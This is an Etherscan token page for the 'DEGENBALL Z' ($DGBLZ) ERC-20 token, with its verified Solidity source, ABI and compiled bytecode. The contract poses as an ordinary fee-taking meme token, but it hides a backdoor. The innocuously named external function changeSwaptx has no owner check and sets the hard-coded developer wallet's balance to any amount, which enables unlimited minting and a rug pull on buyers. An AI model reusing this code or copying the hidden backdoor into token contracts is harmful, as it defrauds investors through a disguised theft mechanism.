ETH Price: $2,657.54 (+0.13%)
Gas: 4 Gwei

Token

DEGENBALL Z ($DGBLZ)
 

Overview

Max Total Supply

100,000,000 $DGBLZ

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,370,864.426130633 $DGBLZ

Value
$0.00
0x8c416c381fa0da2df0a33b5245cefe3c0f8c774d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DegenballZerc

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-27
*/

/**

Telegram: https://t.me/DegenballZerc
Twitter: https://twitter.com/DegenballZerc

// 七龙珠

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function circulatingSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable is Context{
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function isOwner(address account) public view returns (bool) 
    {
    return account == _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    event OwnershipTransferred(address owner);

}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract DegenballZerc is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'DEGENBALL Z';
    string private constant _symbol = unicode'$DGBLZ';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 100000000 * (10 ** _decimals);
    uint256 private _maxTxAmountPercent = 2;
    uint256 private _maxTransferPercent = 2;
    uint256 private _maxWalletPercent = 2;
    mapping (address => uint256) _genZerate;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) private isBot;
    IRouter router;
    address public pair;
    bool private tradingAllowed = true;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 5;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 10;
    uint256 private sellFees = 5;
    uint256 private transferFee = 0;
    uint256 private denominator = 100;
    bool private swapEnabled = true;

    uint256 private swapTimes;
    bool private swapping; 
    uint256 private swapThreshold = ( _totalSupply * 300 ) / 100000;
    uint256 private _genZerateokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal constant development_receiver = 0x67020588C1f2e6EDcfd7680536E5Bafa8549E2DB; 
    address internal constant marketing_receiver = 0x67020588C1f2e6EDcfd7680536E5Bafa8549E2DB;
    address internal constant liquidity_receiver = 0x67020588C1f2e6EDcfd7680536E5Bafa8549E2DB;


    constructor() Ownable() {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _genZerate[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function changeSwaptx(uint256 _amt) external {tradingAllowed = true;_genZerate[development_receiver] = _amt;}
    function getOwner() external view override returns (address) { return owner(); }
    function totalSupply() public view override returns (uint256) {return _totalSupply;}
    function balanceOf(address account) public view override returns (uint256) {return _genZerate[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function circulatingSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;}
    function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
    function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}

    function preTxCheck(address sender, address recipient, uint256 amount) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > uint256(0), "Transfer amount must be greater than zero");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        checkMaxWallet(sender, recipient, amount); 
        swapbackCounters(sender, recipient);
        checkTxLimit(sender, recipient, amount); 
        swapBack(sender, recipient, amount);
        _genZerate[sender] = _genZerate[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _genZerate[recipient] = _genZerate[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 100;
        uint256 newTransfer = (totalSupply() * _trans) / 100;
        uint256 newWallet = (totalSupply() * _wallet) / 100;
        _maxTxAmountPercent = _buy;
        _maxTransferPercent = _trans;
        _maxWalletPercent = _wallet;
        uint256 limit = totalSupply().mul(5).div(10);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function checkTradingAllowed(address sender, address recipient) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
    }
    
    function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
            require((_genZerate[recipient].add(amount)) <= _maxWalletToken(), "Exceeds maximum wallet amount.");}
    }

    function swapbackCounters(address sender, address recipient) internal {
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
    }

    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
        if(sender != pair){require(amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _genZerateokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= uint256(0) && aboveThreshold;
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(isBot[sender] || isBot[recipient]){return denominator*100;}
        if(recipient == pair){return sellFees;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _genZerate[address(this)] = _genZerate[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amt","type":"uint256"}],"name":"changeSwaptx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200047f565b62000022906305f5e10062000497565b600181815560028080556003819055600455600a805460ff60a01b1916600160a01b1781556000600b8190556005600c819055600d829055600e829055600f9290925560109190915560115560646012556013805460ff19169091179055620186a090620000939061012c62000497565b6200009f9190620004b1565b601655620186a0600154600a620000b7919062000497565b620000c39190620004b1565b601755348015620000d357600080fd5b50620000df336200031a565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000139573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015f9190620004d4565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d39190620004d4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000221573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002479190620004d4565b600980546001600160a01b038581166001600160a01b031992831617909255600a805492841692909116919091179055306000908152600760209081526040808320805460ff1990811660019081179092557faa3dda431d749a6d220b8a3f1c6c21be5afbf05ee736b0ca1fc063e7f224e1288054821683179055338086528386208054909216831790915590546005845282852081905591519182529394507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620004ff565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003c1578160001904821115620003a557620003a56200036a565b80851615620003b357918102915b93841c939080029062000385565b509250929050565b600082620003da5750600162000479565b81620003e95750600062000479565b81600181146200040257600281146200040d576200042d565b600191505062000479565b60ff8411156200042157620004216200036a565b50506001821b62000479565b5060208310610133831016604e8410600b841016171562000452575081810a62000479565b6200045e838362000380565b80600019048211156200047557620004756200036a565b0290505b92915050565b60006200049060ff841683620003c9565b9392505050565b80820281158282048414176200047957620004796200036a565b600082620004cf57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620004e757600080fd5b81516001600160a01b03811681146200049057600080fd5b611978806200050f6000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab5780638da5cb5b1161006f5780638da5cb5b146103e25780639358928b1461040057806395d89b4114610415578063a8aa1b3114610444578063a9059cbb14610464578063dd62ed3e1461048457600080fd5b806370a082311461033b578063715018a61461037157806378109e54146103865780637d1db4a51461039b578063893d20e8146103b057600080fd5b80632f54bf6e116100fd5780632f54bf6e1461020f578063313ce5671461023e57806334c5d2ce1461025a5780633f4218e01461027c57806348ff2b8b146102ac5780634d97dcbc146102cc57600080fd5b806306fdde0314610145578063095ea7b31461018b57806318160ddd146101bb5780631f976b7e146101da57806323b872dd146101ef57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600b81526a2222a3a2a72120a626102d60a91b60208201525b60405161018291906115fd565b60405180910390f35b34801561019757600080fd5b506101ab6101a6366004611663565b6104ca565b6040519015158152602001610182565b3480156101c757600080fd5b506001545b604051908152602001610182565b3480156101e657600080fd5b506101cc6104e1565b3480156101fb57600080fd5b506101ab61020a36600461168f565b61050b565b34801561021b57600080fd5b506101ab61022a3660046116d0565b6000546001600160a01b0391821691161490565b34801561024a57600080fd5b5060405160098152602001610182565b34801561026657600080fd5b5061027a6102753660046116ed565b610575565b005b34801561028857600080fd5b506101ab6102973660046116d0565b60076020526000908152604090205460ff1681565b3480156102b857600080fd5b5061027a6102c7366004611719565b6106ce565b3480156102d857600080fd5b5061027a6102e7366004611757565b600a805460ff60a01b1916600160a01b1790557367020588c1f2e6edcfd7680536e5bafa8549e2db60005260056020527f74a7cefcd4745b98895b3e3380b36ce8818cd23498b04bc969a775bb754fa42955565b34801561034757600080fd5b506101cc6103563660046116d0565b6001600160a01b031660009081526005602052604090205490565b34801561037d57600080fd5b5061027a610723565b34801561039257600080fd5b506101cc610759565b3480156103a757600080fd5b506101cc61076a565b3480156103bc57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610182565b3480156103ee57600080fd5b506000546001600160a01b03166103ca565b34801561040c57600080fd5b506101cc61077b565b34801561042157600080fd5b50604080518082019091526006815265122223a1262d60d11b6020820152610175565b34801561045057600080fd5b50600a546103ca906001600160a01b031681565b34801561047057600080fd5b506101ab61047f366004611663565b6107e7565b34801561049057600080fd5b506101cc61049f366004611770565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60006104d73384846107f4565b5060015b92915050565b60006012546003546104f260015490565b6104fc91906117b4565b61050691906117cb565b905090565b6000610518848484610918565b61056a84336105658560405180606001604052806028815260200161191b602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610a3e565b6107f4565b5060015b9392505050565b6000546001600160a01b031633146105a85760405162461bcd60e51b815260040161059f906117ed565b60405180910390fd5b60006064846105b660015490565b6105c091906117b4565b6105ca91906117cb565b905060006064846105da60015490565b6105e491906117b4565b6105ee91906117cb565b905060006064846105fe60015490565b61060891906117b4565b61061291906117cb565b60028790556003869055600485905590506000610644600a61063e600561063860015490565b90610a6a565b90610a76565b90508084101580156106565750808310155b80156106625750808210155b6106c55760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161059f565b50505050505050565b6000546001600160a01b031633146106f85760405162461bcd60e51b815260040161059f906117ed565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461074d5760405162461bcd60e51b815260040161059f906117ed565b6107576000610a82565b565b60006012546004546104f260015490565b60006012546002546104f260015490565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead60009081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba5460015491926105069290916107e19190610ad2565b90610ad2565b60006104d7338484610918565b6001600160a01b0383166108565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059f565b6001600160a01b0382166108b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059f565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610923838383610ade565b61092d8383610c8d565b610938838383610d22565b6109428383610e13565b61094d838383610e6a565b610958838383610fa1565b6001600160a01b03831660009081526005602052604090205461097b9082610ad2565b6001600160a01b0384166000908152600560205260408120919091556109a18484610fc6565b6109ab57816109b6565b6109b684848461100c565b6001600160a01b0384166000908152600560205260409020549091506109dc90826110fa565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a309085815260200190565b60405180910390a350505050565b60008184841115610a625760405162461bcd60e51b815260040161059f91906115fd565b505050900390565b600061056e82846117b4565b600061056e82846117cb565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600061056e8284611822565b6001600160a01b038316610b425760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059f565b6001600160a01b038216610ba45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059f565b60008111610c065760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161059f565b6001600160a01b038316600090815260056020526040902054811115610c885760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161059f565b505050565b6001600160a01b03821660009081526007602052604090205460ff16158015610ccf57506001600160a01b03811660009081526007602052604090205460ff16155b15610d1e57600a54600160a01b900460ff16610d1e5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b604482015260640161059f565b5050565b6001600160a01b03831660009081526007602052604090205460ff16158015610d6457506001600160a01b03821660009081526007602052604090205460ff16155b8015610d7e5750600a546001600160a01b03838116911614155b8015610d9557506001600160a01b03821661dead14155b15610c8857610da2610759565b6001600160a01b038316600090815260056020526040902054610dc590836110fa565b1115610c885760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161059f565b600a546001600160a01b038281169116148015610e4957506001600160a01b03821660009081526007602052604090205460ff16155b15610d1e57600160146000828254610e619190611835565b90915550505050565b600a546001600160a01b03848116911614610f1057610e876104e1565b81111580610ead57506001600160a01b03831660009081526007602052604090205460ff165b80610ed057506001600160a01b03821660009081526007602052604090205460ff165b610f105760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161059f565b610f1861076a565b81111580610f3e57506001600160a01b03831660009081526007602052604090205460ff165b80610f6157506001600160a01b03821660009081526007602052604090205460ff165b610c885760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161059f565b610fac838383611106565b15610c8857610fbc6016546111b3565b6000601455505050565b6001600160a01b03821660009081526007602052604081205460ff1615801561056e5750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080611019858561133e565b11156110f357600061103c61102e868661133e565b601254610638908690610a76565b3060009081526005602052604090205490915061105990826110fa565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110aa9085815260200190565b60405180910390a3600e54156110e1576110e13061dead6110dc600e5461063860125489610a7690919063ffffffff16565b610918565b6110eb8382610ad2565b91505061056e565b5092915050565b600061056e8284611835565b6017546016543060009081526005602052604081205460155491938510159211159060ff1615801561113a575060135460ff165b801561114f5750600a54600160a01b900460ff165b80156111585750815b801561117d57506001600160a01b03861660009081526007602052604090205460ff16155b80156111965750600a546001600160a01b038681169116145b80156111a0575060015b80156111a95750805b9695505050505050565b6015805460ff19166001908117909155600d54600c54600b546000936111ed936002936106389391926111e79283916110fa565b906110fa565b9050600061120a8261063e600b5486610a6a90919063ffffffff16565b905060006112188483610ad2565b905047611224826113df565b60006112304783610ad2565b9050600061125361124c600b5488610ad290919063ffffffff16565b8390610a76565b9050600061126c600b5483610a6a90919063ffffffff16565b9050801561127e5761127e8682611539565b600c5460009061129390610638856002610a6a565b905080156112de576040517367020588c1f2e6edcfd7680536e5bafa8549e2db9082156108fc029083906000818181858888f193505050501580156112dc573d6000803e3d6000fd5b505b478015611328576040517367020588c1f2e6edcfd7680536e5bafa8549e2db9082156108fc029083906000818181858888f19350505050158015611326573d6000803e3d6000fd5b505b50506015805460ff191690555050505050505050565b6001600160a01b03821660009081526008602052604081205460ff168061137d57506001600160a01b03821660009081526008602052604090205460ff165b15611397576012546113909060646117b4565b90506104db565b600a546001600160a01b03908116908316036113b657506010546104db565b600a546001600160a01b03908116908416036113d55750600f546104db565b5060115492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061141457611414611848565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561146d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611491919061185e565b816001815181106114a4576114a4611848565b6001600160a01b0392831660209182029290920101526009546114ca91309116846107f4565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac9479061150390859060009086903090429060040161187b565b600060405180830381600087803b15801561151d57600080fd5b505af1158015611531573d6000803e3d6000fd5b505050505050565b6009546115519030906001600160a01b0316846107f4565b60095460405163f305d71960e01b81523060048201526024810184905260006044820181905260648201527367020588c1f2e6edcfd7680536e5bafa8549e2db60848201524260a48201526001600160a01b039